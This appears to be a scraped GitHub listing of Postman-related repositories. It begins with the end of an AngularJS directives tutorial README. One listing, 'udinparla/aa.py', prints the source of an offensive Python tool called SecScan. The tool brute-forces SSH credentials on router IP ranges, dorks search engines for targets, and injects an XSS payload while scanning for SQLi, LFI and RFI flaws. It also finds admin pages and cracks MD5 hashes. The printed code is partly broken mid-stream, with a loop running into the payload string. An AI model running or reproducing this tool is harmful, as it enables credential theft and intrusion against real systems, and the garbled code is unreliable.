Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
ashwanikumar04/gulp-postcol
collection, collections, java, module, place, postman collection, postman collections, replace, script 		This is gulp module to replace java script code in the postman collections 1 stars 1 watchers 0 forks
BeAPI/bea-postman
class, mail, place, replace, replacement, send, sender 		WordPress class for replacements and mail sender 0 stars 0 watchers 1 forks
fabiohenriquebayma/ReplacingPostman
environment, external, organized, place, postman tests, replace, rest, rest service, service, services, test, tests, tool 		A tool to replace CI postman tests in a CI environment. Test are organized by stories. Can test externals rest services. 0 stars 0 watchers 0 forks
TinaHeiligers/command_line_http
command, http, place, replace 		Scripts to replace postman work 0 stars 0 watchers 0 forks
xxf098/request-toolkit
environment, place, replace, replacement, send, tool 		Tools for send API requests in a Vim like environment, which can be a replacement of Postman 0 stars 0 watchers 0 forks

persistence (6 listings) (Back to Top)

Carlos-Alonzo/REST-API-with-persistence-in-RDBMS
browser, function, functioning, persistence, spec, tool 		ully functioning REST API with persistence in RDBMS that can be inspected via a browser or a tool like Postman. 1 stars 1 watchers 0 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
elmasria/final-customer-reviews-api
browser, customer, function, functioning, persistence, polyglot, reviews, spec, tool 		Create a fully functioning REST API with polyglot persistence that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks
elmasria/midterm-customer-reviews-api
browser, customer, function, functioning, persistence, reviews, spec, tool 		Build a fully functioning REST API with persistence in RDBMS that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks
JordanHood/UserApi
persistence, user 		An API to manage a user persistence layer 0 stars 0 watchers 0 forks
pvsenan/udacity-reviews-api
browser, city, function, functioning, persistence, reviews, spec, tool, udacity 		Build a reviews api with fully functioning REST API with persistence in RDBMS that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks

compose (6 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
thatinterfaceguy/yhcr-proxy-server-api-tests
collection, compose, environment, file, interface, local, locally, proxy, running, server, servers, test, tests 		Docker compose file, postman environment and collection for running tests against YHCR FHIR proxy servers locally 0 stars 0 watchers 1 forks
denwood/linux_desktop_tools
compose, desktop, docker, dump, intallation, python, tool, tools 		Basic tools intallation by Ansible 2.7 for Linux Desktop : VisualCode + Extension pack, python, pychar, git, gitgrakcen, zsh, terminator, tcpdump, subl3txt, postman, docker , docker-compose, ... 0 stars 0 watchers 0 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
fsoft72/postman-composer
compose, composer, file, files, single, software 		A software to merge multi Postman files into a single one 0 stars 0 watchers 0 forks
satya497/Movies_Filtering
compose, data, database, docker, form, operation, operations, python, running 		it will get data from database and perform operations using python and running in docker compose and input will taken postman. 0 stars 0 watchers 0 forks

lists (6 listings) (Back to Top)

WebDevInfrastructure/MailingLists
development, general, import, interface, list, lists, maintained, single, standard, struct, structure, updating 		Mailing lists are an important part of the infrastructure of development of Web standards - generally PostMan is the standard, but it is maintained by a single individual and the interface/features could use some updating. 3 stars 3 watchers 1 forks
AlwarKrish/Node_TODO-Api
application, demonstrating, integrate, integrates, integration, list, lists, mongo, mongod, mongodb, rating, test, tested, todo, user, users 		A simple application that integrates todo lists with users demonstrating mongodb integration with Node.js. The application was tested using postman. 0 stars 0 watchers 0 forks
a-bianchi/aws-postman
handling, list, lists, mail, mailing, service 		Mass mailing using the aws ses service and handling mailing lists. 0 stars 0 watchers 0 forks
kristaeis/REST-API-final-project
account, auth, authentication, book, books, creation, environment, list, lists, reading, test, tests, user 		REST API featuring user account creation and authentication, reading lists, and books - Postman tests/environment 0 stars 0 watchers 0 forks
Poitrin/musicsheets
list, lists 		Share sheet music and create setlists via Google Drive. Built with Google Apps Script (Back end) and Angular (Front end). 0 stars 0 watchers 0 forks
pranav-ap/todo-api
list, lists, todo 		An Express-based API for Todo lists 0 stars 0 watchers 0 forks

portable (6 listings) (Back to Top)

portapps/postman-portable
apps, portable 		🚀 Postman portable for Windows 0 stars 0 watchers 5 forks
GreaterMKEMeetup/spring-restdocs-postman
collection, collections, docs, extension, import, importable, portable, rest, spring 		A Spring REST Docs extension that produces importable Postman collections. 0 stars 0 watchers 2 forks
nkitku/laravel-to-postman
laravel, portable, route, routes 		Create Importable Json File for PostMan from laravel routes 1 stars 1 watchers 0 forks
nuxeo-sandbox/nuxeo-swagger
convert, description, form, format, import, importable, nuxeo, portable, sandbox, script, swagger, tool, tools, type, types 		Tools to convert the Nuxeo Swagger 1.2 descriptions to an importable format for Postman and other types of tools. 1 stars 1 watchers 0 forks
ivanpmg/transport-team-postman
config, configs, portable, transport 		Importable configs for Postman 0 stars 0 watchers 0 forks
ychasse01/Postman_Portable
portable 		Poor mans portable Postman 0 stars 0 watchers 0 forks

generic (6 listings) (Back to Top)

ryandgoulding/netconf-generic-postman-collection
collection, description, generic, script 		No description available. 1 stars 1 watchers 0 forks
foonster/postman
file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables 		Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. 1 stars 1 watchers 0 forks
joncrain/munkireport-postman-collection
collection, config, file, generic, report 		Postman config file for some generic MunkiReport API stuff 1 stars 1 watchers 0 forks
rashichauhan7/genericPostmanScript
description, generic, script 		No description available. 0 stars 0 watchers 0 forks
antonioortegajr/postman-tests
collection, collections, example, examples, generic, mostly, reference, test, tests, writing 		I like writing tests in postman for my collections. This repo is generic examples of these tests for mostly my own reference. 0 stars 0 watchers 0 forks
LennartCockx/postman-generic-json-visualize
beta, display, generic, json, play, script, util, utilizes, visual, visualization 		A script which utilizes the (beta) visualization option from postman to display any json response in a more visual manner 0 stars 0 watchers 0 forks

back end (6 listings) (Back to Top)

neshoj/tcp-postman
back end, drive, driven, implementation, initiate, send, sends, server, server., solution, solutions 		Angular4 implementation of an app that sends JSON request to a back end server that initiates tcp requests to a target server. Best for POS driven solutions. 1 stars 1 watchers 0 forks
skhetarpaul/project-back-end
arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users 		This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. 1 stars 1 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
gloryer/jsonwebtoken
access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify 		A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. 0 stars 0 watchers 0 forks
Joel-Torres/mern-shop-backend
back end, backend, list, mern 		The back end for the MERN shoppers list app. MLAB and PostMan. 0 stars 0 watchers 0 forks
riesdn/CapstoneBackEnd
back end, including, test, tested 		The back end code for the .Net Spring Bootcamp Capstone project including .Net C# with Entity Framework, SQL, and JSON, tested through Postman. 0 stars 0 watchers 0 forks

smoke (6 listings) (Back to Top)

dangkaka/postman-travis-integration
integration, newman, smoke, test, travis 		Using postman(newman) to build APIs smoke test 1 stars 1 watchers 0 forks
asmoker/btrackers-postman
fetch, json, list, server, smoke, track, tracker 		btrackers-postman - BitTorrent Trackers Postman, fetch BitTorrent Trackers URL list from ngosang/trackerslist and post to your aria2 server via jsonrpc. 0 stars 0 watchers 2 forks
aplorenzen/selenium-example
automat, automate, example, newman, regression, runner, selenium, smoke, test, testing 		An example of how Selenium IDE, selenium-side-runner, Postman and newman can be used to automate regression and smoke testing 0 stars 0 watchers 0 forks
umesh-acquia/email-service-smoke-test-postman
description, email, mail, script, service, smoke, test 		No description available. 0 stars 0 watchers 0 forks
vcamaral/newman-smoke-testing
newman, smoke, test, testing, util, utilizando 		Exemplo de smoke testing utilizando o Newman (Postman Collection Runner). 0 stars 0 watchers 0 forks
TaylorOno/smoke-break
collection, collections, postman collection, postman collections, smoke, test, testing, tool 		A tool to run postman collections against 2 targets and capturing deltas useful for smoke testing Blue Green deploys 0 stars 0 watchers 0 forks

pages (6 listings) (Back to Top)

udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
martinberlin/postman-reporter
api blueprint, asyncapi, document, documented, json schema, oauth, openid, pages, report, reporter, result, sql, test, tests 		Make self-documented HTML pages from your Postman tests. Import test results in a Mysql Database 1 stars 1 watchers 1 forks
msziede/PostmanPageTest
collection, pages, resource, resources, source 		Postman collection that pages through API resources 1 stars 1 watchers 0 forks
shivampip/postmanweb
host, hosted, pages 		Postman for Web developed using React, hosted on GitHub pages 1 stars 1 watchers 0 forks
digitalbias/blog_postman
automat, automatic, automatically, blog, digital, github, pages, script 		Elixir script to merge github pages changes automatically using GitHub API v4 0 stars 0 watchers 0 forks
tuankhoi2206/TodoApi
client, framework, pages, razor 		Asp.net core web api razor pages using Entityframework using Postman as a client 0 stars 0 watchers 0 forks

exposes (6 listings) (Back to Top)

thenikhilk/jwt-auth-webapi
auth, authenticate, authenticates, case, data, endpoint, endpoints, exposes, query, reviews, util, utility, webapi 		The purpose of this code is to develop the Restaurent API, using Microsoft Web API with (C#),which authenticates and authorizes some requests, exposes OAuth2 endpoints, and returns data about meals and reviews for consumption by the caller. The caller in this case will be Postman, a useful utility for querying API’s. 1 stars 1 watchers 0 forks
TheEvilDev/hapi-postman
collection, data, endpoint, exposes, hapi, meta, plugin, postman collection, test, testing 		Hapi plugin that exposes endpoint meta data as a postman collection for easy testing. 0 stars 0 watchers 1 forks
codeasashu/python-postman-restmocker
application, example, exposes, flask, host, local, mock, mocks, python, rest 		This python exposes a flask application which mocks your postman example on localhost 0 stars 0 watchers 0 forks
gloryer/jsonwebtoken
